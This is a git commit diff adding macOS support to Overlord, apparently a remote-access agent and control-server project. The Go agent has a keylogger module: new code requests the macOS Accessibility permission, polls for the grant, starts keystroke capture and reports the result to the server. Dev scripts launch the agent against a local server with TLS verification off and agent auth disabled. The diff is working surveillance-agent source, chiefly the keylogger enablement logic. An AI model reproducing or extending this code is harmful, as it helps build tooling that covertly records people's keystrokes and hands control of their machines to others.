mac shit
This commit is contained in:
@@ -7,6 +7,7 @@ import (
|
|||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"log"
|
"log"
|
||||||
|
"runtime"
|
||||||
"sort"
|
"sort"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
@@ -72,6 +73,16 @@ type Session struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func ProbeCapabilities() Capabilities {
|
func ProbeCapabilities() Capabilities {
|
||||||
|
if runtime.GOOS == "darwin" {
|
||||||
|
return Capabilities{
|
||||||
|
Available: true,
|
||||||
|
RequiresCGO: true,
|
||||||
|
Sources: []string{"default", "system"},
|
||||||
|
DefaultSource: "default",
|
||||||
|
Detail: "audio devices are initialized only when a voice or desktop audio session starts",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
ctx, err := malgo.InitContext(nil, malgo.ContextConfig{}, nil)
|
ctx, err := malgo.InitContext(nil, malgo.ContextConfig{}, nil)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return Capabilities{
|
return Capabilities{
|
||||||
|
|||||||
@@ -4,14 +4,31 @@ import (
|
|||||||
"context"
|
"context"
|
||||||
"encoding/base64"
|
"encoding/base64"
|
||||||
"log"
|
"log"
|
||||||
|
"time"
|
||||||
|
|
||||||
"overlord-client/cmd/agent/runtime"
|
"overlord-client/cmd/agent/runtime"
|
||||||
"overlord-client/cmd/agent/wire"
|
"overlord-client/cmd/agent/wire"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
func waitForKeyloggerPermission(env *runtime.Env, timeout time.Duration) bool {
|
||||||
|
if env.Keylogger == nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
deadline := time.Now().Add(timeout)
|
||||||
|
for {
|
||||||
|
if env.Keylogger.HasPermission() {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
if time.Now().After(deadline) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
time.Sleep(350 * time.Millisecond)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// HandleKeylogRequestPermission handles the keylog_request_permission command.
|
// HandleKeylogRequestPermission handles the keylog_request_permission command.
|
||||||
// On macOS it triggers the Accessibility permission prompt and reports back
|
// On macOS it triggers the Accessibility permission prompt and reports back
|
||||||
// whether permission was granted. On other platforms it reports that no
|
// whether permission was granted. On other platforms it reports that no
|
||||||
// permission gate exists and the keylogger is already running (or starts it).
|
// permission gate exists and the keylogger is already running (or starts it).
|
||||||
func HandleKeylogRequestPermission(ctx context.Context, env *runtime.Env, cmdID string) error {
|
func HandleKeylogRequestPermission(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||||
if env.Keylogger == nil {
|
if env.Keylogger == nil {
|
||||||
@@ -46,8 +63,32 @@ func HandleKeylogRequestPermission(ctx context.Context, env *runtime.Env, cmdID
|
|||||||
}
|
}
|
||||||
|
|
||||||
// macOS: trigger the OS accessibility prompt and wait for the result.
|
// macOS: trigger the OS accessibility prompt and wait for the result.
|
||||||
|
if env.Keylogger.HasPermission() {
|
||||||
|
granted := true
|
||||||
|
if !env.Keylogger.IsRunning() {
|
||||||
|
if err := env.Keylogger.Start(); err != nil {
|
||||||
|
log.Printf("[keylogger] start after existing permission check failed: %v", err)
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||||
|
"type": "keylog_permission_result",
|
||||||
|
"commandId": cmdID,
|
||||||
|
"granted": false,
|
||||||
|
"reason": "start_failed: " + err.Error(),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||||
|
"type": "keylog_permission_result",
|
||||||
|
"commandId": cmdID,
|
||||||
|
"granted": granted,
|
||||||
|
"reason": "granted",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
log.Printf("[keylogger] macOS: requesting accessibility permission")
|
log.Printf("[keylogger] macOS: requesting accessibility permission")
|
||||||
granted := env.Keylogger.RequestPermission()
|
granted := env.Keylogger.RequestPermission()
|
||||||
|
if !granted {
|
||||||
|
granted = waitForKeyloggerPermission(env, 8*time.Second)
|
||||||
|
}
|
||||||
|
|
||||||
if granted {
|
if granted {
|
||||||
// Start the keylogger now that we have permission.
|
// Start the keylogger now that we have permission.
|
||||||
|
|||||||
@@ -9,10 +9,12 @@ package keylogger
|
|||||||
|
|
||||||
#include <ApplicationServices/ApplicationServices.h>
|
#include <ApplicationServices/ApplicationServices.h>
|
||||||
#include <CoreFoundation/CoreFoundation.h>
|
#include <CoreFoundation/CoreFoundation.h>
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
#import <AppKit/AppKit.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
|
|
||||||
// Forward declaration — implemented in Go via CGo export.
|
// Forward declaration — implemented in Go via CGo export.
|
||||||
extern void goOnKey(const char *chars, int len, int keyCode, int flags);
|
extern void goOnKey(char *chars, int len, int keyCode, int flags);
|
||||||
|
|
||||||
// -----------------------------------------------------------------------
|
// -----------------------------------------------------------------------
|
||||||
// Event tap globals
|
// Event tap globals
|
||||||
@@ -347,7 +349,7 @@ func CheckAccessibilityPermission() bool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// RequestAccessibilityPermission displays the macOS system prompt asking the
|
// RequestAccessibilityPermission displays the macOS system prompt asking the
|
||||||
// user to grant Accessibility permission. Returns true if permission is
|
// user to grant Accessibility permission. Returns true if permission is
|
||||||
// currently granted (either already was or just approved).
|
// currently granted (either already was or just approved).
|
||||||
func RequestAccessibilityPermission() bool {
|
func RequestAccessibilityPermission() bool {
|
||||||
return C.requestAccessibility() == 1
|
return C.requestAccessibility() == 1
|
||||||
@@ -369,7 +371,7 @@ func (k *Keylogger) NeedsPermissionGate() bool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// RequestPermission triggers the macOS accessibility permission prompt via
|
// RequestPermission triggers the macOS accessibility permission prompt via
|
||||||
// AXIsProcessTrustedWithOptions (CGo path — native build only).
|
// AXIsProcessTrustedWithOptions (CGo path, native build only).
|
||||||
func (k *Keylogger) RequestPermission() bool {
|
func (k *Keylogger) RequestPermission() bool {
|
||||||
granted := RequestAccessibilityPermission()
|
granted := RequestAccessibilityPermission()
|
||||||
k.mu.Lock()
|
k.mu.Lock()
|
||||||
|
|||||||
@@ -117,6 +117,10 @@ async function buildThumbnailBytes(bytes: Uint8Array, format: string): Promise<U
|
|||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (typeof Bun.Image !== "function") {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
const output = await new Bun.Image(bytes, {
|
const output = await new Bun.Image(bytes, {
|
||||||
autoOrient: true,
|
autoOrient: true,
|
||||||
maxPixels: THUMBNAIL_WIDTH * THUMBNAIL_HEIGHT * 16,
|
maxPixels: THUMBNAIL_WIDTH * THUMBNAIL_HEIGHT * 16,
|
||||||
@@ -160,7 +164,9 @@ export async function generateThumbnail(id: string): Promise<boolean> {
|
|||||||
}
|
}
|
||||||
return true;
|
return true;
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
console.error(`[thumbnails] Failed to generate thumbnail for client ${id}:`, err);
|
if (typeof Bun.Image === "function") {
|
||||||
|
console.error(`[thumbnails] Failed to generate thumbnail for client ${id}:`, err);
|
||||||
|
}
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+50
-11
@@ -48,7 +48,7 @@ elif [ "$PLATFORM" = "openbsd" ]; then
|
|||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ -n "$BIN_NAME" ] && [ -x "$DIST_DIR/$BIN_NAME" ]; then
|
if [ "$PLATFORM" != "mac" ] && [ -n "$BIN_NAME" ] && [ -x "$DIST_DIR/$BIN_NAME" ]; then
|
||||||
echo "[client] found prebuilt client binary: $DIST_DIR/$BIN_NAME"
|
echo "[client] found prebuilt client binary: $DIST_DIR/$BIN_NAME"
|
||||||
echo "[client] starting prebuilt agent"
|
echo "[client] starting prebuilt agent"
|
||||||
OVERLORD_SERVER="wss://localhost:5173" \
|
OVERLORD_SERVER="wss://localhost:5173" \
|
||||||
@@ -59,7 +59,11 @@ if [ -n "$BIN_NAME" ] && [ -x "$DIST_DIR/$BIN_NAME" ]; then
|
|||||||
exit 0
|
exit 0
|
||||||
fi
|
fi
|
||||||
|
|
||||||
echo "[client] no suitable prebuilt client binary found in $DIST_DIR; falling back to 'go run'"
|
if [ "$PLATFORM" = "mac" ]; then
|
||||||
|
echo "[client] macOS dev mode uses a rebuilt stable binary"
|
||||||
|
else
|
||||||
|
echo "[client] no suitable prebuilt client binary found in $DIST_DIR; falling back to 'go run'"
|
||||||
|
fi
|
||||||
|
|
||||||
cd "$CLIENT_DIR"
|
cd "$CLIENT_DIR"
|
||||||
if ! command -v "$GO_BIN" >/dev/null 2>&1; then
|
if ! command -v "$GO_BIN" >/dev/null 2>&1; then
|
||||||
@@ -80,13 +84,48 @@ echo "[client] using go at: $(command -v $GO_BIN) ($GO_VER)"
|
|||||||
echo "[client] go mod tidy..."
|
echo "[client] go mod tidy..."
|
||||||
GOTOOLCHAIN=${GOTOOLCHAIN:-auto} \
|
GOTOOLCHAIN=${GOTOOLCHAIN:-auto} \
|
||||||
"$GO_BIN" mod tidy
|
"$GO_BIN" mod tidy
|
||||||
|
|
||||||
|
if [ "$PLATFORM" = "mac" ] && [ -n "$BIN_NAME" ]; then
|
||||||
|
mkdir -p "$DIST_DIR"
|
||||||
|
DEV_BIN="$DIST_DIR/$BIN_NAME"
|
||||||
|
echo "[client] building stable macOS dev binary at $DEV_BIN"
|
||||||
|
if [ "${#GO_TAGS[@]}" -gt 0 ]; then
|
||||||
|
GOINSECURE="*" \
|
||||||
|
GOPROXY="https://proxy.golang.org,direct" \
|
||||||
|
GOTOOLCHAIN=${GOTOOLCHAIN:-auto} \
|
||||||
|
"$GO_BIN" build "${GO_TAGS[@]}" -o "$DEV_BIN" ./cmd/agent
|
||||||
|
else
|
||||||
|
GOINSECURE="*" \
|
||||||
|
GOPROXY="https://proxy.golang.org,direct" \
|
||||||
|
GOTOOLCHAIN=${GOTOOLCHAIN:-auto} \
|
||||||
|
"$GO_BIN" build -o "$DEV_BIN" ./cmd/agent
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "[client] starting stable macOS dev binary"
|
||||||
|
OVERLORD_SERVER="wss://localhost:5173" \
|
||||||
|
OVERLORD_AGENT_TOKEN="dev-token-insecure-local-only" \
|
||||||
|
OVERLORD_TLS_INSECURE_SKIP_VERIFY="true" \
|
||||||
|
OVERLORD_MODE="dev" \
|
||||||
|
exec "$DEV_BIN"
|
||||||
|
fi
|
||||||
|
|
||||||
echo "[client] starting agent via 'go run'"
|
echo "[client] starting agent via 'go run'"
|
||||||
OVERLORD_SERVER="wss://localhost:5173" \
|
if [ "${#GO_TAGS[@]}" -gt 0 ]; then
|
||||||
OVERLORD_AGENT_TOKEN="dev-token-insecure-local-only" \
|
OVERLORD_SERVER="wss://localhost:5173" \
|
||||||
OVERLORD_TLS_INSECURE_SKIP_VERIFY="true" \
|
OVERLORD_AGENT_TOKEN="dev-token-insecure-local-only" \
|
||||||
OVERLORD_MODE="dev" \
|
OVERLORD_TLS_INSECURE_SKIP_VERIFY="true" \
|
||||||
GOINSECURE="*" \
|
OVERLORD_MODE="dev" \
|
||||||
GOSUMDB="off" \
|
GOINSECURE="*" \
|
||||||
GOPROXY="https://proxy.golang.org,direct" \
|
GOPROXY="https://proxy.golang.org,direct" \
|
||||||
GOTOOLCHAIN=${GOTOOLCHAIN:-auto} \
|
GOTOOLCHAIN=${GOTOOLCHAIN:-auto} \
|
||||||
"$GO_BIN" run "${GO_TAGS[@]}" ./cmd/agent
|
"$GO_BIN" run "${GO_TAGS[@]}" ./cmd/agent
|
||||||
|
else
|
||||||
|
OVERLORD_SERVER="wss://localhost:5173" \
|
||||||
|
OVERLORD_AGENT_TOKEN="dev-token-insecure-local-only" \
|
||||||
|
OVERLORD_TLS_INSECURE_SKIP_VERIFY="true" \
|
||||||
|
OVERLORD_MODE="dev" \
|
||||||
|
GOINSECURE="*" \
|
||||||
|
GOPROXY="https://proxy.golang.org,direct" \
|
||||||
|
GOTOOLCHAIN=${GOTOOLCHAIN:-auto} \
|
||||||
|
"$GO_BIN" run ./cmd/agent
|
||||||
|
fi
|
||||||
|
|||||||
@@ -22,6 +22,8 @@ fi
|
|||||||
echo "[server] using bun at: $(command -v $BUN_BIN)"
|
echo "[server] using bun at: $(command -v $BUN_BIN)"
|
||||||
echo "[server] bun install..."
|
echo "[server] bun install..."
|
||||||
"$BUN_BIN" install
|
"$BUN_BIN" install
|
||||||
|
echo "[server] building Tailwind CSS..."
|
||||||
|
"$BUN_BIN" run build:css
|
||||||
echo "[server] building vendor assets..."
|
echo "[server] building vendor assets..."
|
||||||
"$BUN_BIN" run vendor
|
"$BUN_BIN" run vendor
|
||||||
echo "[server] starting bun dev (foreground)"
|
echo "[server] starting bun dev (foreground)"
|
||||||
|
|||||||
Executable
+82
@@ -0,0 +1,82 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
ROOT="$(cd -- "$(dirname "$0")" && pwd)"
|
||||||
|
SERVER_SCRIPT="$ROOT/start-dev-server.sh"
|
||||||
|
CLIENT_SCRIPT="$ROOT/start-dev-client.sh"
|
||||||
|
|
||||||
|
quote() {
|
||||||
|
printf "%q" "$1"
|
||||||
|
}
|
||||||
|
|
||||||
|
pause_for_error() {
|
||||||
|
local exit_code=$?
|
||||||
|
if [ "$exit_code" -ne 0 ]; then
|
||||||
|
echo
|
||||||
|
echo "[start-dev] failed with exit code $exit_code"
|
||||||
|
echo "Press any key to close this window."
|
||||||
|
read -r -n 1 _ || true
|
||||||
|
fi
|
||||||
|
exit "$exit_code"
|
||||||
|
}
|
||||||
|
trap pause_for_error EXIT
|
||||||
|
|
||||||
|
if [ "$(uname -s)" != "Darwin" ]; then
|
||||||
|
echo "[start-dev] start-dev.command is intended for macOS."
|
||||||
|
echo "[start-dev] Use ./start-dev.sh on this platform."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if ! command -v osascript >/dev/null 2>&1; then
|
||||||
|
echo "[start-dev] osascript was not found. Use ./start-dev.sh from a terminal instead."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ ! -f "$SERVER_SCRIPT" ]; then
|
||||||
|
echo "[start-dev] missing $SERVER_SCRIPT" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ ! -f "$CLIENT_SCRIPT" ]; then
|
||||||
|
echo "[start-dev] missing $CLIENT_SCRIPT" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
ROOT_Q="$(quote "$ROOT")"
|
||||||
|
SERVER_SCRIPT_Q="$(quote "$SERVER_SCRIPT")"
|
||||||
|
CLIENT_SCRIPT_Q="$(quote "$CLIENT_SCRIPT")"
|
||||||
|
NO_PRINTING_Q="$(quote "${NO_PRINTING:-false}")"
|
||||||
|
|
||||||
|
SERVER_CMD="cd $ROOT_Q && HOST=0.0.0.0 PORT=5173 OVERLORD_DISABLE_AGENT_AUTH=true OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only LOG_LEVEL=debug NODE_ENV=development /bin/bash $SERVER_SCRIPT_Q"
|
||||||
|
CLIENT_CMD="sleep 3; cd $ROOT_Q && NO_PRINTING=$NO_PRINTING_Q /bin/bash $CLIENT_SCRIPT_Q"
|
||||||
|
|
||||||
|
open_terminal() {
|
||||||
|
local title="$1"
|
||||||
|
local command="$2"
|
||||||
|
|
||||||
|
osascript - "$title" "$command" <<'APPLESCRIPT'
|
||||||
|
on run argv
|
||||||
|
set windowTitle to item 1 of argv
|
||||||
|
set shellCommand to item 2 of argv
|
||||||
|
|
||||||
|
tell application "Terminal"
|
||||||
|
activate
|
||||||
|
do script shellCommand
|
||||||
|
delay 0.2
|
||||||
|
set custom title of selected tab of front window to windowTitle
|
||||||
|
end tell
|
||||||
|
end run
|
||||||
|
APPLESCRIPT
|
||||||
|
}
|
||||||
|
|
||||||
|
echo "=== Launching Overlord dev terminals ==="
|
||||||
|
echo "[start-dev] root: $ROOT"
|
||||||
|
echo "[start-dev] opening server window..."
|
||||||
|
open_terminal "Overlord-Server" "$SERVER_CMD"
|
||||||
|
|
||||||
|
echo "[start-dev] opening client window..."
|
||||||
|
open_terminal "Overlord-Client" "$CLIENT_CMD"
|
||||||
|
|
||||||
|
echo
|
||||||
|
echo "Done. Server and client logs are running in separate Terminal windows."
|
||||||
|
echo "Close those Terminal windows or press Ctrl+C inside them to stop dev processes."
|
||||||
Reference in New Issue
Block a user